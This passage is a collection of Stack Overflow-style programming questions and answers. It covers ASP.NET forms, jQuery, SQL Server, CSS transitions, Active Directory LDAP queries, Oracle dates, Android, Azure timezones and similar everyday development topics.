runat="server" TextMode="Password" &gt; &lt;/asp:TextBox&gt; &lt;asp:RegularExpressionValidator ID="valPassword" runat="server" ErrorMessage="Password must contain between 8 - 15 characters" ControlToValidate="txtpassword" ValidationExpression="[a-zA-Z'.\s]{8,15}$"&gt;&lt;/asp:RegularExpressionValidator&gt; &lt;/div&gt; &lt;div&gt; &lt;label&gt;*Re-enter Password&lt;/label&gt; &lt;input type="password" name="re_password" /&gt; &lt;span class="error"&gt;This is an error&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="bottom"&gt; &lt;div class="remember"&gt; &lt;input type="checkbox" /&gt; &lt;span&gt;Email me DocStore updates&lt;/span&gt; &lt;/div&gt; &lt;input type="submit" value="Register" /&gt; &lt;a href="registration.aspx" rel="login" class="linkform"&gt;You have a DocStore account already? Log in here&lt;/a&gt; &lt;a href="home.aspx"&gt;Return to DocStore HomePage&lt;/a&gt; &lt;div class="clear"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/form&gt; &lt;form class="login" action="registered_users.aspx" method="post" id="regusers1" &gt; &lt;h3&gt;Login&lt;/h3&gt; &lt;p&gt;&lt;strong&gt; &lt;i&gt; *Please enter your username and password in order to access your account.&lt;/i&gt;&lt;/strong&gt;&lt;/p&gt; &lt;div&gt; &lt;label&gt;Username:&lt;/label&gt; &lt;input type="text" name="username" /&gt; &lt;span class="error"&gt;This is an error&lt;/span&gt; &lt;/div&gt; &lt;div&gt; &lt;label&gt;Password: &lt;a href="registration.aspx" rel="forgot_password" class="forgot linkform"&gt;Forgot your password?&lt;/a&gt;&lt;/label&gt; &lt;input type="password" /&gt; &lt;span class="error"&gt;This is an error&lt;/span&gt; &lt;/div&gt; &lt;div class="bottom"&gt; &lt;div class="remember"&gt;&lt;input type="checkbox" /&gt;&lt;span&gt;Keep me logged in&lt;/span&gt;&lt;/div&gt; &lt;input type="submit" value="Login"/&gt; &lt;a href="registration.aspx" rel="register" class="linkform"&gt;Don't have a DocStore account yet? Register here&lt;/a&gt; &lt;div class="clear"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/form&gt; &lt;form class="forgot_password" action="registered_users.aspx" method="post" id="regusers2" &gt; &lt;h3&gt;Forgot Password&lt;/h3&gt; &lt;div&gt; &lt;label&gt;Username or Email:&lt;/label&gt; &lt;input type="text" /&gt; &lt;span class="error"&gt;This is an error&lt;/span&gt; &lt;/div&gt; &lt;div class="bottom"&gt; &lt;input type="submit" value="Send reminder"/&gt; &lt;a href="registration.aspx" rel="login" class="linkform"&gt;Suddenly remebered account details?&lt;br/&gt; Log in here&lt;/a&gt; &lt;a href="registration.aspx" rel="register" class="linkform"&gt;You don't have a DocStore account yet? Register here&lt;/a&gt; &lt;div class="clear"&gt;&lt;/div&gt; &lt;/div&gt; &lt;!--/div--&gt; &lt;/form&gt; &lt;div class="clear"&gt;&lt;/div&gt; &lt;!-- The JavaScript --&gt; &lt;script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; $(function () { //the form wrapper (includes all forms) var $form_wrapper = ('&lt;%= #form_wrapper.ClientID) %&gt;'); //the current form is the one with class active $currentForm = $form_wrapper.children('form.active'), //the change form links $linkform = $form_wrapper.find('.linkform'); //get width and height of each form and store them for later $form_wrapper.children('form').each(function (i) { var $theForm = $(this); //solve the inline display none problem when using fadeIn fadeOut if (!$theForm.hasClass('active')) $theForm.hide(); $theForm.data({ width: $theForm.width(), height: $theForm.height() }); }); //set width and height of wrapper (same of current form) setWrapperWidth(); /* clicking a link (change form event) in the form makes the current form hide. The wrapper animates its width and height to the width and height of the new current form. After the animation, the new form is shown */ $linkform.bind('click', function (e) { var $link = $(this); var target = $link.attr('rel'); $currentForm.fadeOut(400, function () { //remove class active from current form $currentForm.removeClass('active'); //new current form $currentForm = $form_wrapper.children('form.' + target); //animate the wrapper $form_wrapper.stop() .animate({ width: $currentForm.data('width') + 'px', height: $currentForm.data('height') + 'px' }, 500, function () { //new form gets class active $currentForm.addClass('active'); //show the new form $currentForm.fadeIn(400); }); }); e.preventDefault(); }); function setWrapperWidth() { $form_wrapper.css({ width: $currentForm.data('width') + 'px', height: $currentForm.data('height') + 'px' }); } /* I need to check the which form was submited, and give the class active to the form I want to show */ $form_wrapper.find('input[type="submit"]') .click(function (e) { e.preventDefault(); }); }); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
35596247	0	 <p><code>enter code here</code> <code>enter code here</code>s="hello fattie i'm a fattie too" <code>enter code here</code>#this code is unsure bbut manageabele <code>enter code here</code>looking word= "fattie" <code>enter code here</code>li=[] <code>enter code here</code>for i in range(len(s)): <code>enter code here</code> if s.startswith(lw, i): <code>enter code here</code> print (i) <code>enter code here</code> space = s[:i].count(" ") <code>enter code here</code> hello = space+1 <code>enter code here</code> print (hello) <code>enter code here</code> li.append(hello) <code>enter code here</code>print(li)</p>
18420033	0	Use data from view in javascript <p>I was wondering if it's possible to use data from the view in my javascript code? This is what I have:</p> <p>View "<strong>index.phtml</strong>":</p> <pre><code>&lt;?php $event = $this-&gt;event; ?&gt; &lt;script&gt; // HERE I WANT TO USE $event var data = &lt;?=$event?&gt;; &lt;/script&gt; </code></pre> <p>But that doesn't work!</p>
11903235	0	 <p><a href="http://developer.android.com/guide/components/fragments.html" rel="nofollow"><code>Fragments</code></a> will solve all your problems here.</p> <p>There are many great examples and the link i posted will help you get started.</p> <p><a href="http://stackoverflow.com/questions/5710573/need-a-fragments-example">Here is a similar post with many examples as answers.</a></p>
4568732	0	Windows Phone 7 Development <p>I am currently developing application that does following:</p> <ol> <li>Read Inbox (using MAPI) &amp; SMS Interception (incoming &amp; outgoing)</li> <li>Read CallLog (using P/Invoke e.g. PhoneOpenCallLog) and intercept call log</li> <li>File System Notification</li> <li>Reading Installed Appications (using XML Provisioning)</li> <li>Configre VPN and Email (using XML Provisioning)</li> <li>Perform all configuration programatically that is shown in Settings menu (using Registry).</li> </ol> <p>And most important, my application will always <strong>run in background</strong> (which is not supported in WP 7), tracking user activity.</p> <p>I have read that there will not be Native code (C++) support as well as P/Invoke support in WP 7. Are there any <strong>managed APIs</strong> available to perform all of the above tasks?</p>
33865131	0	How to deleted record as false in SQL Server from winforms UI using c#? <p>I have a problem to set deleted record as false in my SQL Server.I tried a lot.</p> <p>My problem is i have a table in some Of the columns id,name etc...id as primary key constraint. When the user delete the record? so that record should be present on the table. i will make that record as false in my table?</p> <p>In future he want to add the record with the deleted id? we give the chance to add a record with that id?</p> <p>plz tell me the example of doing this? i tried a lot but i don't know. because primary key doesn't accept duplicates so i strucked here.</p> <p>My delete stored procedure:</p> <p>If user press the delete button in my UI:</p> <p>This stored procedure is execute in my back-end:</p> <pre><code>update table set id=id*-1, flag=1 where id=@id and flag=0; </code></pre> <p>In front i have shown record is deleted.</p> <p>But if he want to add the record with that deleted id. Primary key voilation error from my database.when he insert the record.</p> <p>Thanks</p>
17694998	0	 <p>The problem is in your second <code>setTimeout</code> call, you are invoking the function <code>win_open</code> then passing the value returned by it to <code>setTimeout</code> as the callback</p> <p>You need</p> <pre><code>function link_redirect(linkaddress) { overlay(); setTimeout(function() { overlay(); win_open(linkaddress) }, 2000); //return false; } </code></pre>
3900262	0	 <p>If you have <code>template&lt;class T&gt; class X;</code> you don't expect <code>X&lt;3&gt;</code> to work and deduce that <code>T</code> is <code>int</code>, do you? The same is here <code>IsFunc&lt;FunctionA&gt;</code> is invalid, but <code>IsFunc&lt;void()&gt;</code> is fine. HTH</p>
21709561	0	How get Admin credentials? I am the Admin already <p>My new computer have Windows 8.1 64-bit Spanish version; the previous one had Windows XP and I never messed before with Credentials, Privileges, etc. In my computer there is just one user account that is marked as Administrator: "They have access to all files and programs stored in the computer". However, if I open a command-line window and execute <code>chkdsk</code> I get this:</p> <pre><code>Microsoft Windows [Versión 6.2.9200] (c) 2012 Microsoft Corporation. Todos los derechos reservados. C:\Users\Antonio&gt; chkdsk Acceso denegado porque no tiene privilegios suficientes. Invoque esta utilidad ejecutándola en modo elevado. </code></pre> <p>That is: "Access denied because you have not enough privileges. Invoke this utility executing it in elevated mode". I tried to use <code>runas</code> command, but I don't understand what parameters I must give.</p> <p>I get the same result when I execute <code>fsutil</code> with these options:</p> <pre><code>C:\Users\Antonio&gt; fsutil fsinfo ntfsInfo C: Error: Acceso denegado. </code></pre> <p>How can I execute these programs in my computer? TIA</p>
16261909	0	 <p>Found the issue...</p> <pre><code> &lt;td&gt; &lt;div class="button-bar"&gt; &lt;button class="btn btn-danger" data-bind="click: deleteOffice, disable: hasChanges"&gt;Delete &lt;/button&gt; &lt;/div&gt; &lt;/td&gt; </code></pre> <p>I changed the button tag for <code>&lt;a href&gt;</code> , applied the same style and problem fixed!</p>
40413586	0	 <p>So what's happening is your <code>draw::before/draw::after</code> elements are 0px tall at the start of your transition. That means the border radius is going to be very skewed. </p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>button { background: none; border: 0; box-sizing: border-box; color: #f45e61; font-size: inherit; font-weight: 700; padding: 200px; text-align: center; margin: 20px; position: relative; vertical-align: middle; } button::before, button::after { box-sizing: border-box; content: ''; position: absolute; width: 100%; height: 100%; } .draw { -webkit-transition: color 0.25s; transition: color 0.25s; border-radius: 70px; } .draw::before, .draw::after { border-radius: 70px; border: 30px solid transparent; width: 0; height: 0; } .draw::before { top: 0; left: 0; } .draw::after { bottom: 0; right: 0; } .draw:hover { color: #60daaa; } .draw:hover::before, .draw:hover::after { width: 100%; height: 100%; } .draw:hover::before { border-top-color: #60daaa; border-right-color: #60daaa; -webkit-transition: width 1.25s ease-out, height 1.25s ease-out 1.25s; transition: width 1.25s ease-out, height 1.25s ease-out 1.25s; } .draw:hover::after { border-bottom-color: #60daaa; border-left-color: #60daaa; -webkit-transition: border-color 0s ease-out 2.5s, width 1.25s ease-out 2.5s, height 1.25s ease-out 3.75s; transition: border-color 0s ease-out 2.5s, width 1.25s ease-out 2.5s, height 1.25s ease-out 3.75s; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;h1&gt;CSS Border Transitions&lt;/h1&gt; &lt;button class="draw"&gt;draw&lt;/button&gt;</code></pre> </div> </div> </p> <p>After enlarging/slowing down the animation you can see what the issue is. I would also recommend putting a transition on the right/left border until the height is transitioning to avoid the 'drawing point' being a weird shape. </p> <p>Here is another example of what I mean by the border-radius being skewed: </p> <p><a href="https://i.stack.imgur.com/db1rE.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/db1rE.png" alt="Skewed"></a></p> <p><a href="http://codepen.io/anon/pen/mOdOyQ" rel="nofollow noreferrer">http://codepen.io/anon/pen/mOdOyQ</a></p>
23586442	0	 <p>make the input a span and change your DOM query to alter "innerHTML": <code> function count() { x += 1; document.getElementById( "counting" ).innerHTML = x; } </code></p>
13147778	0	 <p>Use <a href="http://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;ved=0CCIQFjAA&amp;url=http%3A%2F%2Factionbarsherlock.com%2F&amp;ei=EUWQUOT-BKXmiwLN5oHgDQ&amp;usg=AFQjCNEKyOYK1H-iAiI67o4J8dIPJNL9TA&amp;sig2=bBemH9Of9AkgJ6uiBJhwZA" rel="nofollow">ActionBarSherlock</a> and the <a href="https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;ved=0CCIQFjAA&amp;url=https%3A%2F%2Fgithub.com%2FChristopheVersieux%2FHoloEverywhere&amp;ei=HEWQUL6iEaGcjAK43oD4DQ&amp;usg=AFQjCNHjHK7GWfkXusOoRZ6dh3X4VXYCTg&amp;sig2=MmcuMrDALTMnyCAeY2Xzjg" rel="nofollow">HoloEverywhere</a> libraries, as well as the <a href="http://developer.android.com/tools/extras/support-library.html" rel="nofollow">Android Support</a> libraries.</p>
17942700	0	Do temporary files get deleted even while the app is running? <h2>Background</h2> <p>On android, you can create temporary files as such (link <a href="http://developer.android.com/guide/topics/data/data-storage.html#InternalCache" rel="nofollow">here</a> and <a href="http://developer.android.com/reference/java/io/File.html#createTempFile%28java.lang.String,%20java.lang.String,%20java.io.File%29" rel="nofollow">here</a> for documentation) :</p> <pre><code>final File temp = File.createTempFile("myFile", ".tmp", context.getCacheDir()); </code></pre> <p>I'm developing an app that uses temporary files and when it's done with them (and on start of the app), it deletes them.</p> <h2>The question</h2> <p>The documentation says :</p> <blockquote> <p>When the device is low on internal storage space, Android may delete these cache files to recover space.</p> </blockquote> <p>Does it mean that files can get deleted even while my app is still running? In which cases would android be allowed to delete the files? </p> <p>In other words , can I assume that as long as I have the app running , android won't delete the files by itself, even if other apps create their own temporary files?</p>
13553946	0	 <p>If you can't find a method, you can build one using ruby's <em>include?</em> method.</p> <p>Official documentation: <a href="http://www.ruby-doc.org/core-1.9.3/Array.html#method-i-include-3F" rel="nofollow">http://www.ruby-doc.org/core-1.9.3/Array.html#method-i-include-3F</a></p> <p>Usage:</p> <pre><code>array = [1, 2, 3, 4] array.include? 3 #=&gt; true </code></pre> <p>Then, you can do a loop:</p> <pre><code>def array_includes_all?( array, comparision_array ) contains = true for i in comparision_array do unless array.include? i contains = false end end return contains end array_includes_all?( [1,2,3,2], [1,2,2] ) #=&gt; true </code></pre>
15938490	0	 <p>This approach will work with PostgreSQL but it'll tend to be pretty inefficient as you're updating each row twice - each update requires <em>two</em> transactions, two commits. The cost of this can be mitigated somewhat by using a <code>commit_delay</code> and possibly disabling <code>synchronous_commit</code>, but it's still not going to be fast unless you have a non-volatile write-back cache on your storage subsystem.</p> <p>More importantly, because you're committing the first update there is no way to tell the difference between a worker that's still working on the job and a worker that has crashed. You could probably set the token to the worker's process ID if all workers are on the local machine then scan for missing PIDs occasionally but that's cumbersome and race-condition prone, not to mention the problems with pid re-use.</p> <p>I would recommend that you adopt a <em>real</em> queuing solution that is designed to solve these problems, like ActiveMQ, RabbitMQ, ZeroMQ, etc. <a href="http://wiki.postgresql.org/wiki/PGQ_Tutorial" rel="nofollow">PGQ</a> may also be of significant interest.</p> <p>Doing queue processing in a transactional relational database <em>should</em> be easy, but in practice it's ridiculously hard to do well and get right. Most of the "solutions" that look sensible at a glance turn out to actually serialize all work (so only one of many queue workers is doing anything at any given time) when examined in detail. </p>
6352813	0	 <p>Why not make the views layer-backed? You can then just apply an affine transform to the view's layer.</p> <pre><code>yourView.layer.transform = CATransform3DMakeRotation(M_PI_4, 0, 0, 1.0); </code></pre>
5591702	0	 <p>Any tutorial on building a VB6.0 form will do. <a href="http://www.google.com.au/search?q=custom+messagebox+vb6" rel="nofollow">Google</a> is your friend.</p> <p>Try this one: <a href="http://www.vbforums.com/showthread.php?t=445165" rel="nofollow">http://www.vbforums.com/showthread.php?t=445165</a></p>
26950797	0	 <p>If you only need to find direct members, you can use Attribute Scope Query (ASQ). This requires domain/forest functional level of 2003 (forgot domain or forest).</p> <pre><code>DirectoryEntry groupEntry = new DirectoryEntry("LDAP://&lt;server&gt;/&lt;group DN&gt;", "user", "pwd"); DirectorySearcher searcher = new DirectorySearcher(groupEntry); searcher.SearchScope = SearchScope.Base; searcher.AttributeScopeQuery = "member"; searcher.Filter = "(&amp;(objectCategory=person)(objectClass=user))"; searcher.PropertiesToLoad.Clear(); searcher.PropertiesToLoad.Add("name"); searcher.PropertiesToLoad.Add("mail"); searcher.PropertiesToLoad.Add("displayName"); foreach (SearchResult result in searcher.FindAll()) { Console.WriteLine(result.Path); } </code></pre> <p>For nested group members, you may use the LDAP_MATCHING_RULE_IN_CHAIN matching rule. This requires domain/forest functional level of 2008 R2 (again, forgot domain or forest).</p> <pre><code>DirectoryEntry rootEntry = new DirectoryEntry("GC://&lt;server&gt;", "user", "pwd"); DirectorySearcher searcher = new DirectorySearcher(rootEntry); searcher.SearchScope = SearchScope.Subtree; searcher.Filter = "(&amp;(objectCategory=person)(objectClass=user)(memberOf:1.2.840.113556.1.4.1941:=&lt;group DN&gt;))"; searcher.PropertiesToLoad.Clear(); searcher.PropertiesToLoad.Add("name"); searcher.PropertiesToLoad.Add("mail"); searcher.PropertiesToLoad.Add("displayName"); foreach (SearchResult result in searcher.FindAll()) { Console.WriteLine(result.Path); } </code></pre> <p><strong>Limitations:</strong></p> <ul> <li>Both methods don't handle primary group membership</li> <li>ASQ don't work across domain, an exception will be thrown if member from another domain is found. So normally you can only perform this for global groups.</li> </ul>
11574829	0	How to find icons for app bar in metro windows 8? <p>How to find icons for app bar in metro windows 8 ? And how can i add custom icons ?</p>
5349040	0	 <p>If I guess right the DBUtils is returning new instance for each call of getConnection(). And as the DBUtils class is a utility class so it shouldn't be maintaining any state. In this scenario no you dont need any addition efforts for synchronization. </p>
10443986	0	Make custom types appear in Xcode's documentation popup <p>I want to achieve the similar result for my own code:</p> <p><img src="https://i.stack.imgur.com/WziGi.png" alt="enter image description here"></p>
25592517	0	 <p>More precisely, <code>() -&gt; ()</code> means a closure taking a tuple with 0 values as argument and returning a tuple with zero values. Which is equivalent to saying: a closure taking no arguments and with no return value (or returning <code>void</code>)</p>
11774984	0	How to give alt and title for background image? <p>How to give alt and title for background image? Is it possible?</p> <pre><code>&lt;div id="cont"&gt;&lt;/div&gt; #cont { background:#FFF url(../images/post.png) no-repeat; } </code></pre>
9339848	0	 <p>Umm... I'm either missing something extremely obvious or everyone else is.</p> <p>You want to date operations? Use <code>to_date</code> and <code>to_char</code>. I'm going to assume this <code>ss:sss</code> means, seconds, then fractional seconds. You date appears to be a string so we need to convert it twice:</p> <pre><code>update b set first = to_char( to_date( my_date, 'yyyy/mm/dd-hh:mi:ss:ff3') ,'yyyy-mm-dd hh:mi:ss' ) </code></pre> <p>Generally, when using dates it's far, far easier to only use <a href="http://psoug.org/reference/date_func.html" rel="nofollow">date functions</a> and the provided <a href="http://ss64.com/ora/syntax-fmt.html" rel="nofollow">formats</a>.</p> <p>As an added point if you have a date, store it as a date. It'll save a world of bother later on.</p>
7195886	0	 <p>A regular expression substitution will do it. Look at the gsub() function.</p> <p>This gives you what you want (it removes any instance of '[' or ']'):</p> <pre><code>gsub("\\[|\\]", "", n) </code></pre>
2277896	0	 <p>This isn't really an aggregation, it's just a groupwise maximum. <code>ROW_NUMBER</code> is the easiest way to write these queries:</p> <pre><code>;WITH CTE AS ( SELECT Query, CreatedTime, UpdatedTime, &lt;other_columns&gt;, ROW_NUMBER() OVER ( PARTITION BY Query ORDER BY CreatedTime DESC, UpdatedTime DESC ) AS RowNum FROM Somethings WHERE CreatedTime &gt;= '20100101' AND CreatedTime &lt; '20100201' ) SELECT * FROM CTE WHERE RowNum = 1 </code></pre> <p>It's not necessarily the most efficient, but it's reasonably good in most cases. And the nice thing is that you can modify this to do top 2 per group, top 3, etc., and you have complete control over ties.</p> <p>(P.S. I hope you don't actually name the column "Query")</p>
14289000	0	 <p>Windows Azure machines are yours for the using so if you want a different time zone, go right ahead and set it.</p> <p>The easiest approach is to create a very simple startup task and use <strong>tzutil</strong>, the Windows Time Zone Utility. We use the following:</p> <pre><code>tzutil /s "GMT Standard Time" </code></pre> <p>This is installed by default only on the Windows Server 2008 R2 or Windows Server 2012 images.</p> <p>Full details are here: <a href="http://wely-lau.net/2011/06/26/setting-timezone-in-windows-azure-3/" rel="nofollow">http://wely-lau.net/2011/06/26/setting-timezone-in-windows-azure-3/</a></p>
38708554	0	Meteor-Bootstrap jQuery wrong version <p>I do have the following message in the console:</p> <pre><code>Uncaught Error: Bootstrap's JavaScript requires at least jQuery v1.9.1 but less than v3.0.0 </code></pre> <p>In .meteor > version file it says it's <code>jquery@1.11.9</code>.</p> <ul> <li>I did tried to meteor remove and the install again both jquery and boostrap separately.</li> <li>Also tried to manualy change current version in .meteor version file to 1.9.1 first in terminal it says: <br><code>jquery upgraded from 1.9.1 to 1.11.9</code><br> But after server restart the current version is back to 1.11.9</li> </ul> <p>What can be done to retrieve the favor of the javascript gods?</p>
19557119	0	 <p>Given the format <code>$ _( int, int )___ .</code> where <code>_</code> is an arbitrary amount of whitespace use </p> <pre><code>int n = 0; int result = scanf("$ (%d,%d ) .%n", &amp;int1, &amp;int2); if ((result != 2) || (n == 0)) { ; // failed, handle error. } </code></pre> <p>Let's break the scanf() format down</p> <p><code>"$"</code> match a <code>'$'</code><br> <code>" "</code> match 0 to unlimited number of whitespace.<br> <code>"("</code> match <code>'('</code><br> <code>"%d"</code> match any amount of leading whitespace, then look for an <code>int</code>, storing in the corresponding <code>int *</code>.<br> <code>","</code> match <code>','</code><br> <code>")"</code> match <code>')'</code><br> <code>"."</code> match <code>'.'</code><br> <code>"%n"</code> Save the number of <code>char</code> parsed so far into the corresponding <code>int *</code>. Acting on this directive does not affect the <code>scanf()</code> result.</p> <p>Liberal use of <code>%n</code> could be intersperse should more specific scanning be require than suggested in this solution.</p>
39530708	0	 <p>A couple of things to check.</p> <ul> <li><p>The pyenv tool doesn't install Python with a shared library by default. That could result in problems as mod_wsgi wants a shared library. You need to explicitly tell pyenv to build Python with a shared library.</p></li> <li><p>A home directory on many Linux systems is not readable to other users. When mod_wsgi is being initialised, it is running as the Apache user and will not be able to see inside of the home directory. There isn't an issue when the mod_wsgi module is loaded by Apache as Apache is running as root at that point.</p></li> </ul> <p>There are other issues with your configuration where don't follow best practices, but the above, especially the second item is likely the cause of your problem.</p>
6607522	0	 <p>I don't know about such tool. You can write your own generator using database metadata info: <code>Connection.getMetadata()</code></p>
34404561	0	 <p>This call </p> <pre><code>scanf_s("%s",msg); </code></pre> <p>is missing the size argument. Change to</p> <pre><code>scanf_s("%s", msg, (unsigned)sizeof msg); </code></pre> <p>You are also doing this</p> <pre><code>for(i=0;msg[i]!=NULL;i++) m[i]=msg[i]; </code></pre> <p>which generates a compiler warning, because <code>NULL</code> is pointer value, not a char value. But its biggest sin is not copying the <code>'\0'</code> string terminator. What do have against <code>strcpy()</code> or even <code>strdup()</code>?</p>
614439	0	 <p>As of NHibernate 2.1, the <a href="http://nhforge.org/blogs/nhibernate/archive/2008/11/09/nh2-1-0-bytecode-providers.aspx" rel="nofollow noreferrer">proxy factory is pluggable</a>. Here are some proxy providers supported:</p> <ul> <li>Castle.DynamicProxy</li> <li>LinFu</li> <li>Spring.NET</li> </ul> <p>So proxying will be actually out of NHibernate's responsibility, and the answer to this question really depends on the selected proxy factory.</p>
29632356	0	 <p>You just need to multiply your concepts by your documents:</p> <pre><code>(20(currentConceptCount*currentDocumentCount) * 10(previousTime)) / 100(previousConceptCount*previousDocumentCount) </code></pre>
37709154	0	 <p>in project.json you need this dependency</p> <pre><code>"Microsoft.Extensions.Localization": "1.0.0-rc2-final", </code></pre> <p>in Startup.cs in ConfigureServices you need code like this:</p> <pre><code> services.AddLocalization(options =&gt; options.ResourcesPath = "GlobalResources"); services.Configure&lt;RequestLocalizationOptions&gt;(options =&gt; { var supportedCultures = new[] { new CultureInfo("en-US"), new CultureInfo("en"), new CultureInfo("fr-FR"), new CultureInfo("fr"), }; // State what the default culture for your application is. This will be used if no specific culture // can be determined for a given request. options.DefaultRequestCulture = new RequestCulture(culture: "en-US", uiCulture: "en-US"); // You must explicitly state which cultures your application supports. // These are the cultures the app supports for formatting numbers, dates, etc. options.SupportedCultures = supportedCultures; // These are the cultures the app supports for UI strings, i.e. we have localized resources for. options.SupportedUICultures = supportedCultures; // You can change which providers are configured to determine the culture for requests, or even add a custom // provider with your own logic. The providers will be asked in order to provide a culture for each request, // and the first to provide a non-null result that is in the configured supported cultures list will be used. // By default, the following built-in providers are configured: // - QueryStringRequestCultureProvider, sets culture via "culture" and "ui-culture" query string values, useful for testing // - CookieRequestCultureProvider, sets culture via "ASPNET_CULTURE" cookie // - AcceptLanguageHeaderRequestCultureProvider, sets culture via the "Accept-Language" request header //options.RequestCultureProviders.Insert(0, new CustomRequestCultureProvider(async context =&gt; //{ // // My custom request culture logic // return new ProviderCultureResult("en"); //})); }); </code></pre> <p>in Configure you need code something like this:</p> <pre><code>var locOptions = app.ApplicationServices.GetService&lt;IOptions&lt;RequestLocalizationOptions&gt;&gt;(); app.UseRequestLocalization(locOptions.Value); </code></pre> <p>I have some <a href="https://github.com/joeaudette/cloudscribe.Web.Localization" rel="nofollow">working demo code here</a>, if you need more</p>
1706678	0	ncurses and stdin blocking <p>I have <em>stdin</em> in a <code>select()</code> set and I want to take a string from <em>stdin</em> whenever the user types it and hits <kbd>Enter</kbd>.</p> <p>But select is triggering <em>stdin</em> as ready to read before <kbd>Enter</kbd> is hit, and, in rare cases, before anything is typed at all. This hangs my program on <code>getstr()</code> until I hit <kbd>Enter</kbd>.</p> <p>I tried setting <code>nocbreak()</code> and it's perfect really except that nothing gets echoed to the screen so I can't see what I'm typing. And setting <code>echo()</code> doesn't change that.</p> <p>I also tried using <code>timeout(0)</code>, but the results of that was even crazier and didn't work.</p>
13107368	0	Is it possible to caputre the rendering audio session from another process? <p>I am taking my first dives in to the WSASAPI system of windows and I do not know if what I want is even possible with the windows API.</p> <p>I am attempting to write program that will record the sound from various programs and break each in to a separate recorded track/audio file. From the reseacrch I have done I know the unit I need to record is the various <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/dd370796%28v=vs.85%29.aspx" rel="nofollow">audio sessions</a> being rendered to a endpoint, and the normal way of recording is by taking the render endpoint and performing a loopback. However from what I have read so far in the MSDN the only interaction with sessions I can do is through <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/dd368246%28v=vs.85%29.aspx" rel="nofollow">IAudioSessionControl</a> and that does not provide me with a way to get a copy of the stream for the session.</p> <p>Am I missing something that would allow me to do this with the WASAPI (or some other windows API) and get the individual sessions (or individual streams) before they are mixed together to form the endpoint or is this a imposable goal?</p>
24635	0	 <p>I use FCKEditorOnRails plugin: <a href="http://github.com/UnderpantsGnome/fckeditor_on_rails/tree/master" rel="nofollow noreferrer">http://github.com/UnderpantsGnome/fckeditor_on_rails/tree/master</a></p> <p>Note that you can generally drop in the latest version of FCKEditor without much tweaking if you're running into bugs in the older version.</p>
2004576	0	 <p><a href="http://checkstyle.sourceforge.net/" rel="nofollow noreferrer">CheckStyle</a> to enforce coding standard, <a href="http://cobertura.sourceforge.net/" rel="nofollow noreferrer">Cobertura</a> for checking code coverage.</p> <p>On a related note also check the book <a href="http://oreilly.com/catalog/9780596527938" rel="nofollow noreferrer">Java Power Tools</a><br> which covers around 30 open source tools that help to do better development with Java</p>
1151823	0	 <p>try avoiding unnecessary postbacks to pages, there are a lot of features you can implement by using things like jQuery or ExtJs framework. Learn how to do AJAX calls and pass info between your app and the server via JSON result sets.</p> <p>Also, install apps like FireBug and YSlow and use these to analyze your application and follow their recommendations on how to speed up your app. Good luck!</p>
8605454	0	 <p>Your code gives me the following compiler error, skipping some bits</p> <pre><code>/usr/include/boost/spirit/home/support/action_dispatch.hpp:142:13: error: no matching function for call to ‘action_dispatch&lt;&gt;::do_call( const main()::&lt;lambda(const string&amp;)&gt;&amp;, action_dispatch&lt;&gt;::fwd_tag&lt;std::vector&lt;char&gt;&gt;, ... </code></pre> <p>which boils down to that the argument passed to your lambda is <code>vector&lt;char&gt;</code>, not <code>string</code></p> <p>So, replace <code>string</code> with <code>vector&lt;char&gt;</code>:</p> <pre><code>(+qi::alpha)[[](const std::vector&lt;char&gt;&amp; s) { cout &lt;&lt; std::string(s.begin(), s.end()) &lt;&lt; '\n'; }] </code></pre>
14629617	0	 <p>In this particular case, it depends. If using a namespace alias does the trick, by all means prefer it to macros, for all of the usual reasons. But the two do radically different things. You cannot open a namespace using its alias, i.e.: </p> <pre><code>namespace XYZ_ver1 {} namespace XYZ = XYZ_ver1; namespace XYZ { // Illegal! } </code></pre> <p>This works with a macro; in fact, you can define the macro before the namespace has ever appeared. If you need this, then you need to use a macro.</p>
17498099	0	 <p>MNagel has the correct link for this, but to reiterate, you want to look at using something like:</p> <pre><code>CREATE PROC dbo.MyProc WITH EXECUTE AS 'SomeUser' AS BEGIN --Proc --Do Stuff END --Proc GO </code></pre> <p>"Execute As" has some other gotchas along the way. You have to allow others to impersonate the specified user and that user would need the appropriate select permissions to the underlying tables.</p> <p>If you want to mass grant permissions, you can do that at the Schema level instead of the object level - something like:</p> <pre><code>GRANT SELECT, EXEC ON Schema::dbo TO MyRole; </code></pre> <p>I've used that before to greatly simplify a lot of grant statements for our roles. We have very few overrides for the more general roles so this helps quite a bit.</p>
35380420	0	 <p>if your project R file not generated automatically then this are the possibility i mention below.</p> <ul> <li><p>If the R .* can not be generate means that you have some issue into the res/ folder. Check for errors in res/ folder.</p></li> <li><p>Invalid file name: must contain only [a-z0-9_.] all the res/* filename should be named with lowercase character, underscore and number between 0 and 9</p></li> <li><p>Go to Project and hit Clean. This should, among others, regenerate your R.java file.</p></li> <li><p>Also get rid of any import android.R.* statements and then do the clean up I mentioned.</p></li> <li><p>Check your latest updates in SDK manager if possible some remain to update.</p></li> <li><p>Also check target build was set to Android 2.1 (SDK v7) where his layout XML used Android 2.2 (SDK v8) elements (layout parameter match_parent), due to this there was no way for Eclipse to correctly generate the R.java file which caused all the problems.</p></li> </ul>
23047620	0	Bad syntax on MySQL query <p>it says unexpected "="... What should I rewrite? Thanks</p> <pre><code>$result = mysql_query("SELECT * FROM soubory, users WHERE id='".$id."'" AND soubory.users_id = users.id ); </code></pre>
39573914	0	 <p>Your error is telling you what the problem is. In your application.conf you should set <code>akka.actor.provider = "akka.cluster.ClusterActorRefProvider"</code>. If you want to use a 1 node cluster on your laptop you should also set <code>akka.cluster.min-nr-of-members = 1</code>.</p>
